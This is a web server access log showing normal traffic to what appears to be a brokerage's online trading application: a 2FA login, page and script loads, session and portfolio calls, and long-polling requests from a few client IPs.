[09/Jan/2026:09:25:43 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13511?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922212300 HTTP/1.1" -
[09/Jan/2026:09:25:44 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922216147 HTTP/1.1" -
[09/Jan/2026:09:25:44 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922228238 HTTP/1.1" -
[09/Jan/2026:09:25:48 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922217062 HTTP/1.1" -
[09/Jan/2026:09:25:49 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13511?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922218299 HTTP/1.1" -
[09/Jan/2026:09:25:49 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922221317 HTTP/1.1" -
[09/Jan/2026:09:25:49 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:09:25:49 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Verify2FAService HTTP/1.1" 417
[09/Jan/2026:09:25:50 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/sc/main.html?language=sc&version=HTML HTTP/1.1" 3570
[09/Jan/2026:09:25:50 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/ui.datepicker.css HTTP/1.1" 1145
[09/Jan/2026:09:25:50 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.tablesorter-theme.blue.css HTTP/1.1" 2083
[09/Jan/2026:09:25:50 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-ui-1.10.3.css HTTP/1.1" 5283
[09/Jan/2026:09:25:50 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/dragtable-2.0.9.css HTTP/1.1" 316
[09/Jan/2026:09:25:50 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/sc/style_common.css?v=20200819161913 HTTP/1.1" 2540
[09/Jan/2026:09:25:50 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/sc/style.css?v=20200819161913 HTTP/1.1" 1435
[09/Jan/2026:09:25:50 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.ba-postmessage.js HTTP/1.1" 2990
[09/Jan/2026:09:25:50 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/aastock.js HTTP/1.1" 553
[09/Jan/2026:09:25:50 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-1.6.3.min.js HTTP/1.1" 32057
[09/Jan/2026:09:25:50 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-migrate-3.0.0.js HTTP/1.1" 4963
[09/Jan/2026:09:25:50 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-3.3.1.js HTTP/1.1" 80650
[09/Jan/2026:09:25:50 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-ui-1.10.3.js HTTP/1.1" 69642
[09/Jan/2026:09:25:50 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/sc/css/jquery.jscrollpane.css HTTP/1.1" 690
[09/Jan/2026:09:25:50 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/atmosphere.js HTTP/1.1" 13461
[09/Jan/2026:09:25:50 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/cache.js?jsv=20200819161913 HTTP/1.1" 940
[09/Jan/2026:09:25:50 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.form-3.46.0.js HTTP/1.1" 5673
[09/Jan/2026:09:25:50 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.blockUI-2.66.0.js HTTP/1.1" 6651
[09/Jan/2026:09:25:50 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.validate-1.11.1.js HTTP/1.1" 7041
[09/Jan/2026:09:25:50 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/additional-methods.js HTTP/1.1" 2238
[09/Jan/2026:09:25:50 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.mousewheel-3.1.4.js HTTP/1.1" 822
[09/Jan/2026:09:25:50 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.tablesorter-2.14.5.js HTTP/1.1" 8901
[09/Jan/2026:09:25:50 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.tablesorter.widgets-2.14.5.js HTTP/1.1" 8611
[09/Jan/2026:09:25:50 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.combobox.packed.js HTTP/1.1" 3387
[09/Jan/2026:09:25:50 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.timer-0.9.16.js HTTP/1.1" 542
[09/Jan/2026:09:25:50 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.getParams.js HTTP/1.1" 587
[09/Jan/2026:09:25:50 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.selectboxes.pack.js HTTP/1.1" 1640
[09/Jan/2026:09:25:50 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/date.js HTTP/1.1" 2807
[09/Jan/2026:09:25:50 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/globalize-0.1.0a1.js HTTP/1.1" 6984
[09/Jan/2026:09:25:50 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/json/json2.js?jsv=20200819161913 HTTP/1.1" 1372
[09/Jan/2026:09:25:50 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/settings/crm_display_settings.js?jsv=20200819161913 HTTP/1.1" 1781
[09/Jan/2026:09:25:50 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/constants.js?jsv=20200819161913 HTTP/1.1" 400
[09/Jan/2026:09:25:50 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/sc/user/custom_variables.js?jsv=20200819161913 HTTP/1.1" 275
[09/Jan/2026:09:25:50 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/sc/user/translation.js?jsv=20200819161913 HTTP/1.1" 12866
[09/Jan/2026:09:25:50 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/haitong.js?jsv=20200819161913 HTTP/1.1" 3881
[09/Jan/2026:09:25:50 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/init.js?jsv=20200819161913 HTTP/1.1" 886
[09/Jan/2026:09:25:50 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/util.js?jsv=20200819161913 HTTP/1.1" 6636
[09/Jan/2026:09:25:50 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/rsautil.js?jsv=20200819161913 HTTP/1.1" 1017
[09/Jan/2026:09:25:50 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/corporate.js?jsv=20200819161913 HTTP/1.1" 1575
[09/Jan/2026:09:25:50 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/update_mdf.js?jsv=20200819161913 HTTP/1.1" 856
[09/Jan/2026:09:25:50 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/validation_hkex.js?jsv=20200819161913 HTTP/1.1" 2300
[09/Jan/2026:09:25:50 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/validation_bshare.js?jsv=20200819161913 HTTP/1.1" 1567
[09/Jan/2026:09:25:50 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/main.js?jsv=20200819161913 HTTP/1.1" 30725
[09/Jan/2026:09:25:50 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/validation_ashare.js?jsv=20200819161913 HTTP/1.1" 2482
[09/Jan/2026:09:25:50 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/validation_global.js?jsv=20200819161913 HTTP/1.1" 1564
[09/Jan/2026:09:25:50 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/account.js?jsv=20200819161913 HTTP/1.1" 2656
[09/Jan/2026:09:25:50 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/ipo.js?jsv=20200819161913 HTTP/1.1" 5726
[09/Jan/2026:09:25:50 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/cash_transfer.js?jsv=20200819161913 HTTP/1.1" 2712
[09/Jan/2026:09:25:50 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/spread_cache.js?jsv=20200819161913 HTTP/1.1" 908
[09/Jan/2026:09:25:50 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/mm.js?jsv=20200819161913 HTTP/1.1" 487
[09/Jan/2026:09:25:50 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/payment_instruction.js?jsv=20200819161913 HTTP/1.1" 2178
[09/Jan/2026:09:25:50 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/isec_calculator.js?jsv=20200819161913 HTTP/1.1" 1364
[09/Jan/2026:09:25:50 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/eStatement.js?jsv=20200819161913 HTTP/1.1" 562
[09/Jan/2026:09:25:50 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/payment_instruction_IMOS.js?jsv=20200819161913 HTTP/1.1" 6874
[09/Jan/2026:09:25:50 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/string_extend.js?jsv=20200819161913 HTTP/1.1" 272
[09/Jan/2026:09:25:50 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/ExchangeList?fmt=js&jsv=20200819161913 HTTP/1.1" 146
[09/Jan/2026:09:25:50 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/pidcrypt.js?jsv=20200819161913 HTTP/1.1" 982
[09/Jan/2026:09:25:50 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/pidcrypt_util.js?jsv=20200819161913 HTTP/1.1" 1206
[09/Jan/2026:09:25:50 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/aes_cbc.js?jsv=20200819161913 HTTP/1.1" 2043
[09/Jan/2026:09:25:50 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/aes_core.js?jsv=20200819161913 HTTP/1.1" 2106
[09/Jan/2026:09:25:50 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/md5.js?jsv=20200819161913 HTTP/1.1" 1730
[09/Jan/2026:09:25:50 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/asn1.js?jsv=20200819161913 HTTP/1.1" 3099
[09/Jan/2026:09:25:50 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/sha256.js?jsv=20200819161913 HTTP/1.1" 1362
[09/Jan/2026:09:25:50 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/prng4.js?jsv=20200819161913 HTTP/1.1" 303
[09/Jan/2026:09:25:50 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/jsbn.js?jsv=20200819161913 HTTP/1.1" 6736
[09/Jan/2026:09:25:50 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/rng.js?jsv=20200819161913 HTTP/1.1" 481
[09/Jan/2026:09:25:50 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/rsa.js?jsv=20200819161913 HTTP/1.1" 1658
[09/Jan/2026:09:25:50 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/mode-ecb.js?jsv=20200819161913 HTTP/1.1" 199
[09/Jan/2026:09:25:50 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/aes.js?jsv=20200819161913 HTTP/1.1" 4816
[09/Jan/2026:09:25:50 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/utilSpec.js?jsv=20200819161913 HTTP/1.1" 27
[09/Jan/2026:09:25:50 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/update_lastlogin.js?jsv=20200819161913 HTTP/1.1" 980
[09/Jan/2026:09:25:50 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/GoodTillDateValidExch?fmt=js&jsv=20200819161913 HTTP/1.1" 29
[09/Jan/2026:09:25:50 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/pw_alert.js?jsv=20200819161913 HTTP/1.1" 418
[09/Jan/2026:09:25:50 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/jquery.jscrollpane.js HTTP/1.1" 685
[09/Jan/2026:09:25:50 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/jquery.mousewheel.js HTTP/1.1" 684
[09/Jan/2026:09:25:50 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/jquery.cookie.js HTTP/1.1" 834
[09/Jan/2026:09:25:50 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/decimal.js HTTP/1.1" 13492
[09/Jan/2026:09:25:50 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/sc/images/logo.png HTTP/1.1" 7042
[09/Jan/2026:09:25:50 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/sc/images/top_menu01.jpg HTTP/1.1" 3582
[09/Jan/2026:09:25:50 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922234227 HTTP/1.1" -
[09/Jan/2026:09:25:50 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/sc/images/top_menu04.jpg HTTP/1.1" 3470
[09/Jan/2026:09:25:50 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/sc/images/top_menu_logout.jpg HTTP/1.1" 2595
[09/Jan/2026:09:25:50 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/images/top_bg1.jpg HTTP/1.1" 329
[09/Jan/2026:09:25:50 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/images/top_bg2.jpg HTTP/1.1" 330
[09/Jan/2026:09:25:50 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/images/top_bg3.jpg HTTP/1.1" 878
[09/Jan/2026:09:25:50 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/sc/dialog.html?1767922219797 HTTP/1.1" 3179
[09/Jan/2026:09:25:50 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/PopUpConfig HTTP/1.1" 2
[09/Jan/2026:09:25:50 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:25:50 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/CustomerInfoLite HTTP/1.1" 125
[09/Jan/2026:09:25:50 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/sc/images/top_menu04.jpg HTTP/1.1" 3470
[09/Jan/2026:09:25:50 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:09:25:50 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/sc/trade.html HTTP/1.1" 2115
[09/Jan/2026:09:25:50 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SpreadPriceCache HTTP/1.1" 1947
[09/Jan/2026:09:25:50 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/sc/images/top_menu01_o.jpg HTTP/1.1" 3474
[09/Jan/2026:09:25:50 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:25:50 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/GetLastLoginDate HTTP/1.1" 31
[09/Jan/2026:09:25:50 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:25:50 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/sc/getpopupMsgName.jsp HTTP/1.1" -
[09/Jan/2026:09:25:50 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/sc/applet_dummy.html HTTP/1.1" 330
[09/Jan/2026:09:25:50 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:25:50 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/sc/buy_ticket.html? HTTP/1.1" 1996
[09/Jan/2026:09:25:50 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:25:50 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:25:50 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:25:51 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/sc/multi_currency_balance.html HTTP/1.1" 295
[09/Jan/2026:09:25:51 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:09:25:51 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/Home/PostToAA.jsp?hl=sc HTTP/1.1" 293
[09/Jan/2026:09:25:51 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/sc/images/refresh.gif HTTP/1.1" 1145
[09/Jan/2026:09:25:51 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/sc/images/trade_point01.jpg HTTP/1.1" 358
[09/Jan/2026:09:25:51 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/images/ui-icons_222222_256x240.png HTTP/1.1" 6922
[09/Jan/2026:09:25:51 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/images/ui-bg_flat_75_ffffff_40x100.png HTTP/1.1" 208
[09/Jan/2026:09:25:51 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:25:51 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:25:51 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:25:51 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:25:52 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:25:52 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/CustomerInfo HTTP/1.1" 232
[09/Jan/2026:09:25:52 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:25:52 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:25:52 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:25:53 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:09:25:53 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:25:53 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/LongPollingConfig HTTP/1.1" 4
[09/Jan/2026:09:25:53 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:25:53 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/sc/account_status.html HTTP/1.1" 426
[09/Jan/2026:09:25:53 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922222100 HTTP/1.1" -
[09/Jan/2026:09:25:53 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:09:25:53 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:25:53 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Portfolio HTTP/1.1" 1803
[09/Jan/2026:09:25:53 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:25:53 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:25:54 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:25:54 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:25:54 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922223045 HTTP/1.1" -
